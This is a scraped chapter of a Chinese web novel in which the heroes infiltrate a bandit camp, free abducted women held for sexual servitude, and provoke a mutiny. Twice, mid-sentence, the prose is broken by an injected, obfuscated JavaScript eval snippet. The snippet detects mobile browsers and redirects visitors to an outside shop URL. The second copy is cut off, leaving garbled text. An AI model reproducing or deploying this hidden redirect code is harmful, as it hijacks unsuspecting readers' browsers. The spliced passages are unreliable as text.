元长安听得晕头转向,“什么木桃?好吃吗?琼瑶又是什么?” 陈治站直了身子,轻声道:“等回了清风寨,我教你读书识字。” 话音一落,元长安立马苦着一张脸,“读书有什么用?二当家说了,百无一用是书生,我才不要读书识字,习武打仗才是当下该做的事情。” 陈治摇了摇头,“你说的是这般道理,但是有时候书本上的东西,能在关键时候有大用处。长安,你现在还小,以后的日子还长,总要多学点本领。等回去之后,我教你读书识字。” 元长安沮丧道:“好吧。” 陈治发现,元长安在读书这件事情上和自己的那个堂妹是持有一样的态度,他摸了摸元长安的头,安慰道:“读书识字不比习武苦得多,只要有耐力即可。” 元长安被陈治摸头的动作给定住了,从她开始习武,从来没有人摸过她的头,因为她会将摸她头的人揍到鼻青脸肿。可是,这一次她竟然犹豫了。 下寨门前有一个巨大的平地,上面建了一个台子,是寨子里的比武台。元长安刚到的时候,正好看见冯子嵇带着一队人马回了山寨。他们前面人的马上都挂着好几个大的黑布袋子,后面人的马上则是牵着几只羔羊。还有几人的马上趴着看不清面容,穿着锦衣罗裙的人,应该是女人。 “干娘,今天收获不少,一下山就碰到一个商队。不仅粮食不少,还有几头小羊羔子,我们顺道还带走了他们的女人。”冯子嵇勒住马缰,正好停在裴四娘和元长安的面前。 元长安抬头看向他,发现冯子嵇竟然是异瞳,有一只竟然是灰色,不仔细看根本就看不出来。 裴四娘见今日收获颇丰,心情大好,“今天原本是切磋,既然有羊崽子,那咱们就整个比武会,谁赢了,谁有肉吃!” “好!” 另一边的陈治和沈让避开岗哨和巡逻的小兵,将山寨的情况摸得七七八八,还意外发现了一个小黑屋,并有两个人把守。 “兄弟,统领喊你们去练武场比武,还说赢的人有肉吃,我们替你们看着。”陈治上前对他们说道。 “统领竟然还想着我们两个,那就麻烦两位兄弟替我们看着里面的娘们了。” “不麻烦。” 那两个小兵一听有肉吃,也顾不得思考太多的问题,直接将岗位交给了陈治和沈让,他们两个头也不回地就离开了。 等他们走后,沈让看着有些年头的铁链,一掌下去,就将铁链劈断。推开门之后,陈治和沈让惊在了原地。 屋内灰暗,没有一点透光的地方。打开门之后,屋外的阳光照亮了屋内的黑暗,屋里的人纷纷抬头向门外看去。 她们的脸,苍白瘦削,有的人脸上还抹着厚厚的一层泥土。头发乱糟糟,插着几根杂草。更让人不忍直视的是,她们的衣服破碎不堪,从屋外吹进来一丝凉风,使得她们冷的瑟瑟发抖。她们每个人的脚腕都拴着一根粗壮的铁链,所以她们的脚腕都磨出了血痕。 “这…这……” 然而,陈治却在这些悲苦的女子之中,看到了一双熟悉的眼睛。他走近那个人,将灯笼往她的脸上凑了凑。虽然那个人的脸被灰泥遮掩,但是那双眼睛让陈治想到了熟悉的人。 “清棠阿姐?” 听到有人喊自己的名字,也感觉到有一束光离自己很近,沈清棠猛地抬起头,看向出声的方向。陈治扯下面巾,露出真容,沈清棠仿佛看到了救赎,眼含泪水,语气中满是不可置信:“怀久,是你吗?” 陈治走到她面前,看着这个曾经被百姓称之为京畿第一美人的清棠阿姐,竟然沦落到这般地步,他压抑不住内心的怒火:“沈让,把这铁链劈开!” 沈让第一次见如此失控的陈治,但还是听从他的话,劈开了禁锢沈清棠的铁链子。 陈治扶起沈清棠,深吸几口气,勉强平复下来:“清棠阿姐,你怎么会在这里?” 沈清棠回道:“沈家被郑枫那狗贼屠杀,我一路漂泊,三天前经过庆泽县,却被这山上的土匪给劫上山。上了山我才知道,那伙土匪经常下山抢劫,劫财劫色。对了,怀久,你怎么在这里?” “此事说来话长,等时机成熟了我再告诉你事情经过。阿姐,你对这里了解多少?” “我是刚被劫来的,只知道这些姐妹有的是他们劫来的,有的是从村子里抢来的。而且,每天晚上都要去服侍他们。” 陈治大致了解了情况,他宽慰道:“阿姐放心,我们的人一定会救你们离开。不过,在这之前,还得麻烦阿姐和各位当做什么事情都没发生,听从我们安排。” 沈清棠点点头,随后对屋里的姐妹们说道:“姐妹们,刚刚我弟弟说的话,你们都听见了,可否愿意配合?” “我愿意,只要能活着出去,我愿意配合你们。” “我也愿意!” “……” 一个愿意,其他的也都表示愿意。毕竟待着这里生不如死,还不如拼一把。 陈治问道:“你们有谁对这个山寨有所了解?” 有一女子举起手,说道:“我清楚一点。” “好,你给我们说说这个寨子里的情况。” “有一次晚上,他们带我去服侍孙护军,正好那天晚上孙护军在他屋里邀请几个小头领。他们喝到半夜,我听到那个孙护军说,裴四娘是个女人,管不了那么大的山寨,迟早有一天,山寨会落入他的手上。” “这寨子里很多人暗地里都不服裴四娘,还有就是裴四娘的干儿子冯子嵇,目中无人,已经惹得不少人不满了。但因为有统领这个干娘,没人敢得罪他。”又有一个人补充道。 陈治和沈让了解清楚之后,心里有了打算。关上门之前,陈治将元长安送给自己的神弓弩和保命的毒粉交给了沈清棠,“阿姐,这个神弓弩只要扣动扳机,就会发射一支箭。不过现在只剩下两支箭了,阿姐还需要谨慎些用。而这毒粉一旦吸入,就会出现失神的情况。你拿着这些,也好保护自己和大家的安全。” 沈清棠连连点头:“你放心,阿姐等你来救我们出去。” 关上门之后,陈治刚弄好铁链和铁锁,离开的那两个小兵就回来了,嘴里还嘟囔着:“孙护军带上山的那个小姑娘还真有两下子,竟然把冯护军给打下比武台。” “早就看不惯他那目中无人的样子,不就是傍上了统领,喊她一声干娘,嘚瑟什么。我看那小姑娘把他打下比武台的时候,脸色铁青,气的不行。” “他就是活该,让他知道什么叫人外有人,天外有天。哎,辛苦了两位兄弟。” “不辛苦不辛苦。” 他们四人换了岗位之后,陈治和沈让去了下寨的后方。 “你那个阿姐,是什么人啊?跟我是一个姓,还挺有缘分的。”沈让好奇地问道。 陈治如实说道:“清棠阿姐是安阳沈氏之女,安阳沈氏乃京畿四大望族之首,传袭近四百年,当之无愧的世家豪族。” 沈让突然感慨道:“同为沈姓,却是同姓不同命啊。” 陈治不想理会他这突如其来的感慨,“我们赶紧忙正事吧,快点想办法将我们的消息传给崔涯他们。” “明白,明白。” ----------------- 比武台上,元长安伸了伸自己的懒腰,一副懒散的模样,让冯子嵇握着刀柄的手,青筋暴起。而裴四娘对元长安青睐有加,虽然她的武功身法尚有破绽,但在她这个年纪,练成这样已经是十分难得了。 冯子嵇看到裴四娘眼中的欣赏,方寸大乱,他顾不得其他,直接再次翻身跃上比武台。元长安见他怒气冲冲的样子,不明所以。 “你已经是我手下败将了,还不服?” 手下败将,这四个字刺激着冯子嵇的心智,他自诩武功过人,在寨子里没有对手。但是面前这个年仅十三岁的黄毛丫头,竟然嘲讽他是手下败将。而且,她还夺去了自己干娘的注意。冯子嵇失去了理智,他指着元长安,道:“再来一把,生死不论,敢不敢?” “求之不得。”元长安嘴角一弯,神情邪魅,“第一次见着急送死的人。” 冯子嵇又被元长安激怒了,以至于他的招式毫无章法,破绽百出,元长安手握双刀,在他身上留下了大大小小的伤口。就在元长安的刀抹向冯子嵇脖子的时候,突如其来的一个鞭子,将她的双刀拽飞出去。虽然元长安留在冯子嵇身上的伤口不致命,但也需要休养十天半个月的。 站在裴四娘身后的孙护军见冯子嵇伤的不轻,怕是这段时间下不来床了,他们的行动也要加快了。就是这个突然冒出来的小丫头,有些棘手。 “算你命大。”元长安见自己的双刀被裴四娘拽飞之后,顿时觉得无聊极了,“不打了,你们比吧。” 裴四娘在元长安的打斗中,察觉到她的嗜血。她想,这个人会是自己最锋利的一把刀。 太阳从西山落下,余晖如织。云朵仿佛被火烧一般,呈现出金色与橙色交织的晚霞。四周的景色逐渐变得柔和,树木和山峦的轮廓开始模糊,在夕阳的余晖中显得格外宁静而美丽。鸟儿归巢,偶尔传来几声悠扬的啼鸣。 元长安得到了裴四娘的认可,可以在山寨随意走动,但是仅限于下寨这块地方。而元长安认为,这寨子里的地方,都没有关她的柴房安全。 “你们探的怎么样了?”元长安又坐在了柴草堆边,双手抱着后脑勺,好不惬意。 陈治坐在她旁边,将玉牌还给了她:“沈大哥已经将寨子里的消息传给了崔涯他们,我想也就这两天的事情。对了,我还找到了清棠阿姐,也算是意外收获。” “清棠阿姐?”元长安微微侧头,看向他的眼神带着疑问。 陈治解释道:“我和沈大哥找到了一间封闭的石屋子,里面关着的都是他们抢来的良家妇女。我在那些人里面发现了多年未见的清棠阿姐,还将神弓弩和你送我防身的毒粉给了她,让她护着自己和其他人的安全。” 说完,他见元长安一直盯着他不说话,以为她是因为自己擅自将那个毒粉送给沈清棠防身,连忙辩解道:“当时情况特殊,我身上也就只有一把神弓弩,还只有两支箭。没办法,我就只能将你给我的毒粉也给了她。你若是生气了,那等我回去再给你买一块玉赔罪,怎么样?” 但是元长安脸上并没有生气的迹象,而是用那双充满玩味儿的眼睛看着他道:“这个清棠阿姐不会是你的心上人吧?要不要我现在把她救出来?我现在……” 元长安还没说完,就被陈治弹了一个脑瓜崩:“没完了是吧?” “你打我干嘛?”元长安捂着自己的额头,有些气愤道:“我好心要帮你救心上人,你不领情也就罢了,竟然还弹我脑瓜崩!” 陈治没好气道:“谁跟你说清棠阿姐是我心上人了?他们沈家与我们陈家是世交,我们的父母也是多年好友,所以清棠阿姐与我虽无血缘关系,却如同亲姐弟那般。现在她遭了难,我不能见死不救。现在知道了吗?” 元长安可怜兮兮地点了点头:“知道了。不过,你要是不放心她的安全,我真的可以帮你把她救出来。” 陈治当然想将沈清棠救出来,但他还得顾虑他们的计划,不能因为一己之私坏了大事。 “无妨,我已经拜托沈大哥在暗中保护清棠阿姐,只要大当家那里行动快些,清棠阿姐就不会出事。” 元长安见他心意已决,也不再多劝,“你弹我脑瓜崩这个账怎么算?” 陈治淡淡地看了她一眼,“那你弹我一次?” 元长安知道自己的手劲,也怕陈治这娇弱的身子骨受不了,摆手道:“算了吧,我大人不记小人过,不跟你计较。” “没想到你还知道‘大人不记小人过’这句话,等回去之后,我要好好考考你。”陈治的嗓音轻柔温润,但是元长安听起来却是那么的冰冷刺骨。 ----------------- 薛明礼再次回到了周城侯府,不过这次他是带着马绍宗交代的任务回来的。 “侯爷,马绍宗现在看中了常山郡的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14142848|150174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 涧口,有意与侯爷您结盟。”薛明礼将马绍宗写下的亲笔书信,双手呈递于许文达。 许文达看信的神情淡然,但是眼神深邃锐利:“常山涧口,是个好地方。明礼,你辛苦了。” 薛明礼连忙推辞:“卑职不敢当。” “侯爷,既然马绍宗来信,不如我们,反客为主。”高望在一旁提醒道。 许文达揉了揉自己的眉心,一瞬间,高望感觉到侯爷有些疲惫,“侯爷这几天可是没休息好?怎么瞧着脸色那么差?” “这两天也不知道怎么回事,晚上睡不着,一到早上就犯困,但也是睡不着。”许文达轻轻叹了一口气。 高望笑道:“莫不是世子出生,侯爷太高兴了吧?” 听闻世子出生,薛明礼立马反应过来:“恭喜侯爷,贺喜侯爷,夫人诞下麟儿,真乃可喜可贺。” 许文达虽然脸上还有些疲惫之色,但眼中含有笑意:“说正事,说正事。” 高望接话道:“侯爷,要不要磨上一磨?” 许文达眉心微皱,摆手道:“不用,他已经在信上点明,若本侯出兵,可将恩济县的铁矿石收入囊中。这马绍宗也不是什么酒囊饭袋,能一眼看出铁矿石对本侯有利,着实不简单。既然他已经点明,我们也不需要再磨时间了。更何况,现在的局势,容不得我们再拖。” 薛明礼倒是不诧异马绍宗的手段和能力,毕竟身居太守之位,又是武阳君之后,怎么会是平庸无脑之徒。看来自己日后,还需要多加小心。 “明礼,你回去给马绍宗带话,就说本侯答应了。” “是。” 高望将薛明礼送到门口,在他上马车之前,叮嘱道:“明礼,你要多保重。” 薛明礼陡然一愣,嘴唇微抿,“先生,侯爷多疑,先生也当多多保重。” 然而高望却拉着他的手,语重心长道:“你本有才,可有更好的仕途。现如今,却因为我,成了侯爷的暗棋,做了马绍宗的幕僚。我听说,马绍宗带你不错,以礼相待。你若心生向往,我也理解。希望你能看在我的情面之上,传来一纸书信,告知侯爷和我,你已有良处。这样,也不枉我曾救过你们兄弟二人的性命。” 薛明礼抽出自己的手,然后后退一步,朝着高望深深地鞠了一躬,“高先生是兄长与我的救命恩人,明礼愿以一生报答,绝不会有二心。” 高望扶起薛明礼,脸上是欣慰的神情。 马车走远之后,高望回到了府内。许文达已经在正厅,等着他了。 “侯爷,薛明礼还算忠厚,看在卑职曾救过他的份上,暂时还没有任何异常。” 许文达扬唇一笑,漆黑的眼眸,深不见底:“高望,你我二人所图之事,不容半点差错。” “卑职明白。” 但在许文达看不到的地方,高望上扬的嘴角带着苦涩。 ----------------- 夜晚悄然降临,天边的最后一抹余晖渐渐褪去,星星开始在深蓝色的天幕上闪烁。 因为今天冯子嵇收获丰盛,裴四娘就下令在那块大平地上煮羊肉。 “把寨子里的姑娘都喊出来!”孙护军喝得有些醉醺醺的,但还是忘不了姑娘的滋味。 小黑屋里关着十六个姑娘,今天冯子嵇又从山下劫回来七个姑娘,一共二十三个,根本就不够分。元长安悄悄问他的清棠阿姐是哪个,在知道是哪个人之后,她上前将沈清棠拉到身边,不顾众人诧异的眼神,直接躺在她的怀里。 别说众人一脸懵,就连陈治都没有想到元长安竟然会这么直接。裴四娘对这种事情一向不在意,就没有管。而其他人又打不过她,再加上裴四娘现在对她十分青睐,自然没人愿意去碰她的霉头。 “你就是陈怀久的清棠阿姐?”元长安觉得躺着不舒服,就坐直了身子。 沈清棠听她说起来陈怀久,便知道眼前之人定然是怀久的朋友。她回道:“我叫沈清棠。” “沈清棠……”元长安低声道:“名字还挺好听的,我叫元长安,陈怀久的朋友。” 沈清棠听完她的介绍,不经意地撇向一旁的陈治,见他的眼神一直落下元长安的身上,就想到他们二人之间的关系没那么简单。但她见元长安年岁应该不大,陈怀久简直就是禽兽。 “长安,你今年多大了?” “十三岁。” 还有两年就及笈了,还好还好,陈怀久还有些人性,沈清棠心里稍稍松了一口气。 “过两年就成大姑娘了。” “有那么一天再说吧。”元长安见她脸上厚厚的泥土,问道:“清棠阿姐,你要不要洗把脸?” 沈清棠闻言,抬手想要摸自己的脸,但是一想到其他事情,她摇了摇头:“不用了,有泥土在脸上,我安心。” 元长安拉着她的手就去厨房,“你放心,有我在,没人能欺负你。” 沈清棠没想到,让她安心的话竟然出自一个小孩子的口,说不感动那是假的。当即,她便用水舀子盛着水洗脸,随着流下的污水越来越清澈,元长安也看清楚了沈清棠的脸。 她的脸部肌肤细腻如瓷,灵动深邃的明眸,配以纤细匀整的黛眉。挺拔精致的鼻梁之下,是色泽鲜艳且轮廓完美的朱唇。精致的五官、优雅的气质,不得不承认,元长安看呆了。 “长安……”突然闯进的沈让与沈清棠双目对视,清新脱俗,就是沈让对沈清棠的第一印象。 元长安回过神来,“找我什么事?” 沈让收回目光,说道:“崔涯说,他们已经准备就绪了,只要让寨子里发生内讧,他们就趁势攻寨。” “好,我知道了。沈让,你负责保护清棠阿姐,我去找陈治商量对策。” 沈让黝黑的脸竟然浮现一抹红晕,他结结巴巴道:“好…好的,你…你快…快去吧。” 元长安没有发现他的异样,转而对沈清棠道:“他叫沈让,也是陈怀久的朋友,你放心就好。” 沈清棠轻轻地点了点头,“我放心。” 元长安走后,沈让有些不自然道:“那个,我们,先出去吧。一直待在这里,万一被发现了,就遭了。” 沈清棠道:“都听沈兄弟的。” 她的一句沈兄弟,叫的沈让心花怒放。他带着沈清棠来到元长安被关押的柴房,“这里很安全,你在这里坐一会儿。等前面结束了,我再带你回去。” 沈清棠对眼前这个大块头还是有些发怵,悄悄地跟他保持一定距离。她靠在窗户边,仰头就能看到天上的月亮,“银轮映照夜未央,旧梦依稀绕心上。遥忆往昔共婵娟,今夕独立对月凉。” 忆往昔,她是沈家嫡女,出身清贵世家,更是嫁入东宫为太子妃。然,先皇驾崩,明景太子被废又意外亡故,她从太子妃变成了故太子妃。 后来,吴王郑枫屠杀她沈家全族,她因为太子妃的身份逃过一劫,却在皇宫之中举步维艰。 尤氏发动宫变,她在一个老宫女的帮助下,逃出了皇宫,却又落入土匪之手。幸而她用灰土遮面,保全了清白,又遇到了故人相救。 此番种种遭遇,不知是幸还是不幸? 沈让听不懂她随口而出的话是什么意思,但他看到沈清棠衣衫破旧,夜里又风凉,便脱下自己的外衫给她披上。 “夜里风凉,沈姑娘当心受寒。” 9. 攻下白崇山 虽然天黑,但因为今晚高兴,裴四娘下令点亮平地上所有的火把,让弟兄们好好乐呵乐呵,所以,平地上倒是火光明亮。 陈治独自一人站在一棵树下,独享一份清寂雅韵。脸上的面巾遮住了他的半边容颜,但在元长安眼中,是那样清贵温润。 元长安突然想到,之前下山时,听说书人描述话本子里面的清俊公子,“玉树临风映世家,温文尔雅见青华。明珠含晖映碧瓦,贵气天成君子花。” 玉树、明珠和君子花,形容陈治再适合不过。 “长安。” 陈治回首望去,见元长安就站在不远处,便招招手,示意她过来。 元长安走近之后,就听到陈治问道:“崔涯那边有消息了?” 元长安背靠树干,双臂环胸,回道:“他让我们把寨子搞乱。” 陈治没有答话,反而说了另一件事情,“我刚无意间听到那个孙护军和一个姓蔡的人正在密谋夺位。说不定,不用我们出手,这个寨子自己就乱了。” 元长安问道:“你有什么办法?” 陈治眉眼带笑,“长安,诱敌方法之多,最妙之法,不在疑似之间。而在类同,以固其惑。我已经有了计划,明晚就可见真章。” 陈治信誓旦旦的话,元长安从不怀疑。 “对了,”元长安刚想起来一件事情,“我打听到这个裴四娘是平洲齐都人,她经常带人反抗上番的暴虐杀戮,后来杀了一支追捕她的上番轻骑兵,抢了他们的马,然后逃到这里。” 陈治道:“这么说来,裴四娘还算是个人物。但,终归是顾己不顾人,她纵容手下抢粮抢人,劫杀过往的百姓。说到底她的所作所为,不为人只为己罢了。” 元长安想到了沈清棠,“你那个阿姐长得真好看,你能不能劝她上清风寨?毕竟外面这么乱,她在清风寨还安全些。” 陈治都不好意思说,她这都把心思写脸上了,“你就是看我阿姐长得美,心里就喜欢对吧?” 元长安这人就有这个毛病,最喜欢好看的东西,不管是玉,还是人,又或者是其他的东西。 “但是我说的也是实话,待在清风寨确实安全很多。” 陈治转过头不再看她,语气有些生硬:“这个事情,你自己去找她说。我嘴笨,不会劝人。” 元长安只好作罢,“行吧,我自己去说。” 这时候陈治侧头看向元长安,见她望向那边热闹的人群,眼神平静。 ----------------- 孙诗正还躺在温柔乡里,美人沁香盈袖,勾得他心旷神怡,忘却尘世烦恼。 “柔儿这唱戏的嗓子,可真是好听。”孙诗正将柔儿抱在怀里,垂眸直勾勾地看着她,毫不掩饰自己的欲念。 柔儿笑意盈盈:“柔儿这般,能入了护军的耳,已经是万幸。护军是个人物,柔儿心生敬佩。只是……” 孙诗正见柔儿欲言又止,便来了兴趣,问道:“柔儿但说无妨。” 柔儿故作思虑道:“柔儿听说,护军不得统领看重,反而是那冯护军,得统领重用。我还听说,统领有意想立冯护军为副统领……” “你听谁说的!”孙诗正震惊之余,却又十分恼怒,他坐起身来,道:“冯子嵇这个黄毛小子,毛都没长齐,还敢坐上副统领的位置,我看他是痴人说梦!” 柔儿也爬起来,靠在孙诗正的肩膀上,轻声道:“你也知道,那个石屋子里女人多,难免会有些闲话。护军就别生气了,柔儿给您配个不是,惹得护军动怒。” 孙诗正这才消了气,将柔儿扯入怀中,但一想她说的那句话不可能没有根据。便道:“你们还说了些什么?” 柔儿眼睛闪过一道精光,然后柔声道:“我听一个姐妹说,现在整个山寨一半的人都听孙护军您的,要是谁能傍上您的大腿,那以后说不定就是统领夫人了。她们羡慕我命好,得护军喜欢。” 孙诗正仰头大笑,显然被柔儿的话取悦了,“柔儿想当统领夫人?那还得看看柔儿的功夫,能不能配得上再说。” “护军~” “柔儿放心,一切尽在本护军的掌握之中。只要柔儿能哄爷高兴,统领夫人不在话下。” 就在这时,外面传来蔡义方要找他。他心中虽不愿离开美人怀,但一想到可能会有重要的事情,便直接起身穿衣去见蔡义方。 柔儿见孙诗正离开之后,也穿上衣服,蹑手蹑脚地出去了。 “护军,小的刚听说那裴四娘准备将那批马队,全部交给冯子嵇。护军,裴四娘这是要架空您啊!”蔡义方一听到消息,就赶忙来找孙诗正商量对策。 “整个山寨谁不知道这批上番马,是您和裴四娘历经波折才得到手的。现如今,她裴四娘将马队交给冯子嵇,这不是明摆着不将您放在眼里!”其中一个小兵应和道。 孙诗正的脸色很差,主要是他也没想到裴四娘竟然敢将马队交给冯子嵇那小子,她这不是明摆着要将统领的位置传给冯子嵇。 之前裴四娘将马队交给冯子嵇的时候,只是说让他每天下山去收些粮食,这才压住悠悠众口。 看来,这裴四娘是早有预谋。可她把跟着她一起出生入死的自己,放在了什么位置上?他又突然想到今晚柔儿跟他所说的,裴四娘欲将冯子嵇立为副统领。 那个小兵继续道:“护军,您和冯子嵇同为护军,但您比他经验丰富,又是跟着裴四娘出生入死的老人,这建寨可还有您的功劳在里面。可她裴四娘却扶持冯子嵇与您平起平坐,明摆着就是防您啊。” 孙诗正越听心里就越不平,他虽然早有打算,但绝不能接受裴四娘先他一步。 蔡义方道:“护军,现在这个寨子里,一半的兄弟都是您的人,而且都已经做好了准备。护军,您再不早做打算,更待何时啊!” “统领!” 突然那个小兵喊了孙诗正一句统领,蔡义方立马反应过来:“统领,现在冯子嵇重伤在身,已是断了那裴四娘的一臂,还望您早做打算!” 孙诗正眼睛一转,拿起桌子上放着的茶杯,“可是裴四娘身边那两个护从,都不是等闲之辈。” 蔡义方应道:“统领放心,这件事儿交给我来办,保证办得漂亮!” “那就依你们的意思,最早明晚起事!” “是!” 小兵跟着蔡义方出来,蔡义方回身见那小兵,问道:“你叫什么名字?我怎么没在寨子里见过你?” 陈治弯下腰,回道:“小的陈元,原本是负责看守石屋子的,您没见过我正常。” 蔡义方点点头,没有多想:“原来如此,我见你说话做事很有分寸,以后便跟着我吧。” 陈治眉眼一弯,“小的求之不得,多谢蔡领军抬举。” 蔡义方走远后,柔儿便走了出来,“陈大哥。” 陈治眉宇舒展,轻声问道:“你做的很好。” 柔儿展颜一笑,本就昳丽的五官越发明艳:“柔儿当多谢陈大哥出谋划策,助我等逃出魔窟。” “今晚你暂且忍耐一番,明晚你们就待在石屋子里,哪里也不要去,届时会有人带你们出寨。”陈治叮嘱道。 柔儿微微俯身:“明白。” 次日一早,孙诗正和蔡义方还有三位领军,商议了一上午,最终确定,今晚亥时三刻反!他们兵分四路,三位领军各带一队人,负责清除寨子里依附裴四娘的亲信卫从。而蔡义方则负责杀掉裴四娘身边的左右护从。 崔涯得到沈让传来了的消息,黄昏时分,周老二带兵前来。 赵老三和张老五、崔涯负责从山上攀爬至山寨与沈让、陈治和元长安汇合,并除掉岗哨兵和巡逻兵;周老二和耗子带一队人马在唯一一条狭窄的山路上埋伏,只等山寨里面信号烟一起,就杀进山寨。 夜幕降临,星光点点,一轮皎洁的明月悄然升起,它的边缘略显柔和,仿佛被一层轻纱遮掩。 月光如水般倾泻而下,洒在大地上,为一切披上了一层神秘的银纱。 孙诗正召集自己的亲信,发号施令,成败在此一举。 元长安躺在柴草之上,听到屋外有响动,瞬间坐起身来,走到门旁,偷窥外面的情况。突然看到有两个人朝着柴房摸了过来,元长安纵身一跃,上了房梁。 只见那二人在屋内搜寻片刻,没见收获。其中一人道:“怎么回事?屋里怎么没有人?” “不好!”另一人大惊失色,还没等他说出口,元长安从房梁之上跳下,一刀解决了他们的性命。 “长安!”沈让小跑而来,看到地上倒下的两人,才松了一口气,“他们的动作是真快。” 元长安收起刀,“想杀我,他们还嫩了点。” 沈让气都没喘一口,说道:“孙诗正已经开始行动了,我们动作也要快。” “好。” 上寨 冯子嵇在睡梦中惊醒,一睁眼就看到床头边站着两个人。 “你们要干什么?!” 他话刚出口,其中一人提起大刀,就要砍他。冯子嵇一个闪身,躲过了那人的大刀。然后顺势抽出枕头下面的短剑,通向了那人的胸口。而另一个人挥刀就砍,被冯子嵇一脚踹了出去。 趁着那人倒地,冯子嵇迅速上前,一剑结束了他的性命。可他也因伤势过重,倒在地上,大喘着粗气。不知道过了多久,他听到外面一阵砍杀声,艰难地爬起来,朝外面看去。 果不其然,外面已经乱成一团。看来是有人造反了。冯子嵇想自己的干娘也是凶多吉少,便决定先走暗道逃出山寨。毕竟,留得青山在,不怕没柴烧。 半个时辰前,陈治提着酒壶,醉醺醺地走到统领的门口。 左护从立马警惕,拔出佩剑,道:“统领有令,任何人不得靠近” 陈治摇摇晃晃地站直身子,脸上是歉意的笑:“今晚喝得有点多了,没看清楚路,嘿嘿嘿。” “赶紧离开,否则别怪我们不客气。”右护从同样手持利剑,厉声呵斥道。 陈治连连摆手,“这就走这就走。” 转过身的片刻,陈治脸上的醉态一扫而光。然后刹那之间,回身朝着他们的撒毒粉。 左右护从还没反应过来,就已经吸入了陈治的毒粉,双目涣散,四肢无力。 这个时候蔡义方从暗处带着一队小兵出来,看着倒地的左右护从,对陈治很少赞赏:“是把好手,待统领大成,本领军一定会给你请功。” 陈治谦虚道:“是领军的毒粉管用。” 蔡义方带人闯进裴四娘的房中,却不见她的身影。他大惊道:“不好!孙护军有危险!” 而孙诗正等人发动内乱之时,赵老三和张老五带着一队人从山上下来,在暗夜之中,悄无声息地解决了巡逻放哨的人。周老二和耗子带着一行黑衣小兵,悄悄地从狭窄小路摸上下寨,用神弓弩杀了岗哨上的人,并取而代之,放自家弟兄进寨。 元长安不放心陈治,从崔涯手中拿到自己的长生枪,便去找陈治。 蔡义方和陈治带着小兵赶到孙诗正的住处,果不其然,裴四娘带着她的亲信,挟持了孙诗正。 “蔡领军,救我!”孙诗正被绑在树上,脖子处还横着一把钢刀。 裴四娘咬牙切齿,眼眸中跳动着两簇怒火:“蔡义方,老娘我带你们不薄,你们竟然敢造反!” 蔡义方冷哼道:“裴四娘,你一介女流,有什么能力掌管那么大的山寨?” 孙诗正感觉刀刃离自己的脖子越来越近,他吓得直哆嗦,“蔡义方,你赶紧救救老子,老子让你做护军!” 然而蔡义方却哈哈大笑:“孙诗正,你是真蠢还是装蠢?谁稀罕你那个护军的位置!老子要做统领!” 孙诗正这才看清楚蔡义方的真面目,他破口大骂:“蔡义方,你这个卑鄙小人!我眼瞎才会把你视作心腹,还将亲兵交给你。你就是这么报答我的?!” 蔡义方“呸”的一声,吐在地上一口唾沫,表情厌恶,道“你无才无能,靠着建寨之功,混了个护军的位置,已是不错。就你这样的,还妄图坐上统领之位?真是可笑至极!” 孙诗正气的说不出话来,但是身体还是忍不住发抖。 裴四娘没功夫听他们反目成仇,她从腰间扯下自己的长鞭,“蔡义方,老娘今晚就清理门户!” 裴四娘身边的亲信身手敏捷,虽人数不多,但与蔡义方带来的人,打的有来有回。特别是裴四娘,一手长鞭,如群蛇乱舞,鞭影翻飞。冷风呼啸,卷起一地沾了水的败叶残枝。她长鞭一甩,便有几人倒地吐血不起。随手一挥,又缠上了一个人的脖子,要了他的性命。 蔡义方等人不是裴四娘的对手,但架不住他这个人,够毒。直接使用暗器袖剑,正中裴四娘的眉心。 “把他们绑起来!” 刚绑好裴四娘的亲信,突然天空燃起一道烟火,从外面闯进来一群手握兵器的人。 蔡义方惊慌失色,然后他感觉到胸口一阵刺痛,他抬手摸向左胸口处,竟然摸了一手鲜血。 他的眼睛充满了震惊,转身看向陈治的时候,一脸的不敢置信。 “蔡义方已死,投降者不杀!”陈治大喊道。 众人见蔡义方已经死了,也没有卖命的必要,纷纷放下手中的武器,双手抱头,蹲在地上。 元长安赶过来的时候,发现陈治手里拿着神弓弩,但是他的手在不停地打颤。她看到他身上被溅的血渍,便明白了一切。 她走上前,拿过陈治手上的神弓弩,并且细心地给他擦拭干净手上的血污。 陈治回神看到元长安的那一刹那,因为杀人而难以平复的心,就在那一刻平静了。 元长安告诉他,“崔涯已经将清棠阿姐她们们救出山寨,想回家的都送她们回家了,无家可归的,便安排她们去清风寨。寨子也已经被我们的人控制了,怀久,我们也该回去了。” 话音刚落,陈治便晕了过去。 ----------------- 佟如清带着他的骑兵队巡街的时候,碰到一个身着破烂旧衣的男子,拦住了他们的去路。而且,他的嘴里还一直嘟囔着:“救命。” “队长,要不要把他给?” 佟如清身边的骑兵做了一个抹脖子的动作,显然让那个男子也看到了,他爬到佟如清的脚下,“我本是清阳县的普通百姓,被清风寨的那帮贼寇毁家灭亲,还请将军给一条活路。” 佟如清一听清风寨,便有些犹豫,然后他吩咐道:“带他去见柳先生。” 回到府上,柳全听完了冯子嵇编纂的一番说辞,笑而不语。 “小的与清风寨不共戴天,还望先生给小的一条活路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈清棠说道:“你晕倒的时候,可把她吓坏了。我原本以为像她这般女子,应该没有柔弱的一面,却没想到,她因为你,眼泪止不住地往下流。之后,又听说白崇山上有黄杨木,立刻马不停蹄地就带着人上山砍树。” 陈治喝药的手一顿,不经意地露出一抹笑意:“我那块玉佩没白送。” 沈清棠知道此事没有那么简单,但他们二人皆不自知,那她也不要多此一举,就让他们自己解决。 更何况,现在的元长安才十三岁,还有两年的时间,不必操之过急。 